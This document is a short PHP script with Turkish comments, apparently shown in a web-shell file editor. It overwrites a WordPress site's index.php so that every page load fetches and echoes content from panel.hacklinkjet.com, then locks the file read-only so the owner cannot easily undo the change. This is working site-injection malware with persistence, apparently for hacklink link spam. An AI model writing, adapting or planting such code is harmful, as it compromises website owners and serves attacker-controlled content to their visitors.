JezK
Edit File: kilitle.php
<?php // 1. Yeni index.php içeriği (Heredoc yöntemiyle tırnak hataları engellendi) $yeni_icerik = <<<EOD <?php \$ch = curl_init(); curl_setopt(\$ch, CURLOPT_URL, "https://panel.hacklinkjet.com/zirve"); curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt(\$ch, CURLOPT_TIMEOUT, 3); \$output = curl_exec(\$ch); curl_close(\$ch); echo \$output; ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; EOD; $dosya_adi = 'index.php'; // Önce dosya izinlerini yazılabilir yapalım (Eğer önceden kilitlendiyse) if (file_exists($dosya_adi)) { @chmod($dosya_adi, 0644); } // 2. İçeriği index.php dosyasına yazalım if (file_put_contents($dosya_adi, $yeni_icerik) !== false) { echo "İçerik başarıyla index.php dosyasına yazıldı.<br>"; // 3. Yazma ve okuma izinlerini değiştirme (Salt Okunur: 0444) if (chmod($dosya_adi, 0444)) { echo "index.php başarıyla kilitlendi (CHMOD 0444)."; } else { echo "İzinler değiştirilemedi. Sunucu izin vermiyor olabilir."; } } else { echo "Hata: index.php dosyasına yazılamadı! Lütfen dosya izinlerini kontrol edin."; } ?>